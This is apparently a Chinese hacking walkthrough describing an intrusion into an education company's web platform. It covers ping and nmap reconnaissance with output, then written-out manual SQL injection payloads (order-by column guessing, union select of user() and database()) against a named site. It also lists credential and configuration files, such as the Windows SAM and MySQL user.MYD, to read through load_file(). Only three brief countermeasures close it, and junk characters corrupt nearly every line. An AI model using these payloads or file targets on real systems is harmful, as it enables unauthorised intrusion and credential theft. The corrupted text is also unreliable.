题记:' Z, r' S8 D' ^% z4 X( T
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……' C" \1 Q9 J v& |
第一步:获取需要的信息
$ v& @0 K: i4 B8 I8 e4 \0 }由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
5 O6 y: t& {* `& u注:以下为保护特用XXX代替敏感信息' s* C6 l3 s, ?# e \2 {
顺手先PING了一下他们的域名:1 I0 J( \% ^5 {, y/ u
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)( s$ {1 n5 i0 D
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms5 A( J( w) W" h N' e( ^# y5 j9 n2 K) Q
顺便了解一下TTL,学好基础知识才能一路顺风:
% W# Y' j2 b; R+ p. T+ aTTL:(Time To Live ) 生存时间
0 s" N( q6 Y: i7 s( q2 b指定数据包被路由器丢弃之前允许通过的网段数量。1 R" y7 s+ \- U7 e
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
' P; i5 N* F9 A! o7 C: j6 j4 w7 f使用PING时涉及到的 ICMP 报文类型2 H& |; G7 r& c4 ~5 i/ H
一个为ICMP请求回显(ICMP Echo Request)
4 {0 h# A4 g/ Q( N+ n& i& N一个为ICMP回显应答(ICMP Echo Reply)
3 l. m$ e1 j! [/ y5 xTTL 字段值可以帮助我们识别操作系统类型。
6 G, c4 S; p# ^" `UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255' U4 n: I( L- F3 S: G
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
5 I6 y9 u2 H. D, d微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
/ E) a3 D1 \, v+ t+ h微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
) e6 y" N7 p4 g- ^+ d8 S4 e当然,返回的TTL值是相同的8 Q3 S8 Z- J; x8 W0 X* H$ ~0 S: R
但有些情况下有所特殊; n$ }$ \$ N. n+ Z3 z& O- s
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64! Q% M% q3 m; `# ~: U3 }
FreeBSD 4.1, 4.0, 3.4;
- K, Y. ]1 H; J% T C& t, X9 qSun Solaris 2.5.1, 2.6, 2.7, 2.8;6 v) M0 @* c1 Y& ~+ F- |; z& \
OpenBSD 2.6, 2.7,& \# @) P& H; p
NetBSD
" x: [8 `# w2 c( ?( nHP UX 10.20( ? C6 y, n5 q M; Q0 S$ w
ICMP 回显应答的 TTL 字段值为 255
9 f2 q3 S! |) B# z' D: ?# g/ XWindows 95/98/98SE0 G$ o& v! E& K7 a' s
Windows ME8 T: n: p4 a+ J
ICMP 回显应答的 TTL 字段值为 32
0 K; _( `- u+ wWindows NT4 WRKS+ {4 K+ L$ k+ C5 t
Windows NT4 Server
$ y/ F! S3 m5 Y3 q% qWindows 2000! o. n6 y7 a- Y2 ^: Q# t
Windows XP8 ^1 F! `% _; L% H
ICMP 回显应答的 TTL 字段值为 128 s, p# e% N6 X9 x" {% S# \
这样,我们就可以通过这种方法来辨别操作系统
4 R e1 A3 `6 H* ETTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
$ X& d2 c% B5 y" H+ a9 L( g用NMAP扫描一下:
( r3 L, i e: Z4 Vnmap -sT -O XXX.XXX.XXX.XXX# u/ }% w9 D e' ]
如果没有装WinPcap则会弹出提示:. M! x' ~5 B) m8 a. C
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
) ]- \: j5 Q- |0 Fade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(3 Q" w5 m0 v, A- \( O
) mode — Nmap may not function completely
( b- i9 A6 Y' U; M0 E" A" pTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher& o, S9 S2 {3 v( q! f
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win$ a! _+ M0 I2 d( f/ ^
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
}. T5 }# \/ P5 e% Jd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v% d9 w2 |# [8 d7 x
ersions, you may be able to take iphlpapi.dll from another system and place it i
& C, A5 u# H0 W* Y6 jn your system32 dir (e.g. c:\windows\system32).
, K; B1 z: W" F. q* C- y3 WQUITTING!
w# k& S4 s4 }. V到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
( }: D) ]' r" e6 C# ~% @3 u" w安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:& C( ^. x0 |8 H
Interesting ports on XXX.XXX.XXX.XXX:- c+ a, {3 t5 E) h
Not shown: 986 closed ports3 ^: b: p$ C$ q& p& F) {/ T* _/ b
PORT STATE SERVICE
6 n) u6 r, H1 Z7 S# h i7 Q21/tcp open ftp
; A5 v! Q: r4 W6 y' H22/tcp open ssh/ P6 Q5 f# M& V/ K
23/tcp open telnet
4 R) O6 y. c/ E80/tcp open http4 B$ R; I! i6 ]# t/ S7 I& ^! e" X
111/tcp open rpcbind* m" |5 g: @: |
135/tcp filtered msrpc
' \9 m3 y! H, E9 V8 `3 T139/tcp filtered netbios-ssn
( p) U3 |" l( J8 i, U. R# p445/tcp filtered microsoft-ds7 ]' c, Y5 }; Y% p) b3 ^
513/tcp open login# a! ?' l& Y: O4 h
514/tcp open shell6 A$ \2 q4 A" p- Q. F3 {: M
593/tcp filtered http-rpc-epmap
- F# J: t8 M5 f1 r& U, C! a1720/tcp filtered H.323/Q.931
5 y7 j _; j! l' u. b A3306/tcp open mysql
( P( t1 G8 o# G# _% V2 U4444/tcp filtered krb524
8 L, |1 ^. p! V* w6 N% l" DDevice type: WAP
! K1 f3 j+ U7 e2 B2 cRunning: Linux 2.4.X: e" I! Z J: [' _! V
OS details: DD-WRT (Linux 2.4.35s)8 G) Z& k0 M3 X0 n$ f
Network Distance: 13 hops
6 h/ \7 P* p. N- p2 V0 J$ D看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:3 A4 U l& Z3 ~2 X/ S
login as:( r- D! u( k ?! X2 Q) B- P
Telnet23端口也是开着的,用telnet 命令链接一下:# I7 A# g# V( j" i9 C
telnet XXX.XXX.XXX.XXX
+ R0 J: f6 L" H提示:% H# Y- g. S- {2 q
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
% B2 A% G! x. U) m; |' NKernel 2.6.18-92.el5PAE on an i686( L1 N1 o0 w2 ^4 j
login:
" l% O/ u* g" @' x# h获取HTTP头信息:
, D& |5 b/ @2 _( `' |* A在本地执行如下PHP代码
! ^. w* n! |4 j$ ?& `<?php, W" _: |# u9 J' R( [
$url = ‘XXX.XXX.XXX.XXX’;* ?0 @4 k& o9 u& F
print_r(get_headers($url));
8 `+ S7 n, Z# X0 j( |) pprint_r(get_headers($url, 1));3 }" r3 q: o) L" L8 s1 |, V
?>7 m* B. G8 D5 I0 ^: c2 h
将以上代码保存为PHP文件,执行:
4 e, _8 P$ s0 q$ gArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
. ^0 L7 b; n- i" O# F: z+ d9 T2 b现在可以得出结论:
3 L5 p* f1 _6 [* M+ v+ i+ H系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)( x' C6 }1 X: K$ h3 t6 n
内核版本:Kernel 2.6.18-92.el5PAE on an i686
( u# r% v$ g& N6 B/ P- E4 {% vWEB服务器版本:nginx/0.7.61. V8 a$ W% A' F& x
第二步,开始测试寻找漏洞
! [/ s: v0 p2 z- C/ U& u* |分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
5 r! a% i' r& [1 r4 \( |1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
& e, V( }! p0 U) ?! y; W8 B. e2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
5 |& t: L3 E$ o8 R! `http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常6 ^+ r# G; {0 r" Z8 X7 R9 |9 t
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
, D" U7 T0 W7 F$ Z- x% ~恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续0 s8 H: a8 L2 \5 x! V
3、手工注入:
+ ?0 E. \' P1 j" k$ N" x注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
* x9 Y4 ], V4 B) ?3.1 猜测当前表字段数
+ C" k/ j7 X& Z2 `http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 108 h$ P$ U# p+ F$ h9 _ a2 C
此处猜测有个简单的算法,都是有技巧的吗,呵呵
/ R" p* i5 O7 R- x# ]算法简单如下:4 B4 \5 m; J8 ^# w4 k
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
) H+ o. @3 V# x* H( q第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
1 ?3 l& }, K! l. l- c$ N需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
8 Z' J/ j* h- b6 T5 g/ y2 d以此来判断,是否过界,配合取中算法猜出字段数。
# X" `5 T' x: H8 u举例:
1 h0 b8 }) R# P& d* k$ X0 }http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
6 y+ }( E( t: l% Dhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
( H, S9 s6 \" i! b% N, k+ R A此时3则为我们要找的字段数。
; P* M5 g" H$ M4 X C! A) C! u3.2 配合union联合查询字段在页面所位置( r) q; `' s- S* U, ~- L1 B
我们已经知道了字段数为3,此时则可以做如下操作:
+ ?4 Y# M" Q' b. m) t* M5 Ohttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3( d! [) Y3 P0 e5 G% f l: ]( j: W
- H$ A* j) ^0 g5 b$ a! i3 z x- a
这样就可以测试到哪些字段在页面上有所显示了,如图:+ N; d$ I% k# e/ S. a3 k& \
9 G9 O# r5 t) Y0 J9 A' y3.3 查敏感信息
' [0 P) I6 {0 O& M, r) I. Q这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。5 f( ^ H+ C' d0 [- v3 u
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
! p3 m" y* S+ y, K7 z( Y* G0 {) |) y8 r$ l3.3.1 先查数据库用户、数据库名,以备后用,如图:" P: H3 X: Y' [+ {/ O/ i" i
/ P# E) e" P' Z
得到数据库用户为root、数据库名为DBxx;8 k3 X2 \2 U& W0 N
3.3.2 查配置文件 [6 r9 y$ Y( n ^) k" k
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。; p/ t# c# u3 e W) b
查看文件有一定的条件限制:/ p2 R2 X$ N( g7 s
欲读取文件必须在服务器上
# _$ }% k7 N/ S3 T X9 N: C必须指定文件完整的路径7 p4 a0 C. w6 b. ]# q4 q) s
必须有权限读取并且文件必须完全可读9 Z9 z! e1 \/ f' h0 U- y1 U" p! _
欲读取文件必须小于 max_allowed_packet
- ]: w# ^5 t; _4 [8 ~* b# G! rMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
6 R- M0 S6 X% b6 [2 T* B/ d常用的一些:8 H3 @8 `7 D8 z- p) l; b* E/ E
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件, }/ t5 h/ ?! W- o1 G
/usr/local/apache2/conf/httpd.conf2 u8 W1 T, D" V' L
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
3 f' {8 A! W/ q q; F; T/usr/local/app/php5/lib/php.ini //PHP相关设置
$ Z* O4 k4 t- D# u- c/etc/sysconfig/iptables //从中得到防火墙规则策略, s! V7 _0 K D$ x
/etc/httpd/conf/httpd.conf // apache配置文件& K. E" V' V( H( Q
/etc/rsyncd.conf //同步程序配置文件 C" `$ K( c; S
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/ k8 E9 L" I" W4 ?/ F: [* A% W2 m% X/etc/my.cnf //mysql的配置文件
1 p5 e ]" b8 m0 K& \: u s% t/ {/etc/redhat-release //系统版本
9 B* ]2 ]$ r5 M/etc/issue- Z3 ]5 X+ z) L; ~9 |* k( h
/etc/issue.net
5 D: I# r& d- V2 T* ^7 Vc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码# p# L% j6 a! h! p/ h$ d
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码: ^4 E, c4 l! s% C4 q! c6 b. o
c:\Program Files\Serv-U\ServUDaemon.ini
7 N8 A/ P$ L. B( T9 Fc:\windows\my.ini //MYSQL配置文件
5 Z" v- i& v! D! |) }; x& Ac:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
. N4 X8 R& c) w: T, ?0 L" b1 A等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
( ^4 ]( R$ ~- F/ Lc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
% C- a d% _! yc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
0 ^6 q3 d2 B( V4 ic:\Program Files\RhinoSoft.com\ServUDaemon.exe
p7 h, B- e1 q3 e* RC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件1 d5 Q8 G% j& v' v0 s
//存储了pcAnywhere的登陆密码# | w- U8 ?1 x# y: O, U; E' D+ H
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
B; f) M$ P6 G4 v$ ^7 u& s这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。2 T+ Q* i% }1 w, f9 e
最后:防范措施
0 I! i/ y- @9 U. _1、修复PHP注入漏洞;# { M" x& \4 C& M( t* h3 t
2、Mysql使用普通权限的用户;
$ t6 q( e! j" B; W |3、升级linux内核至最新版本; |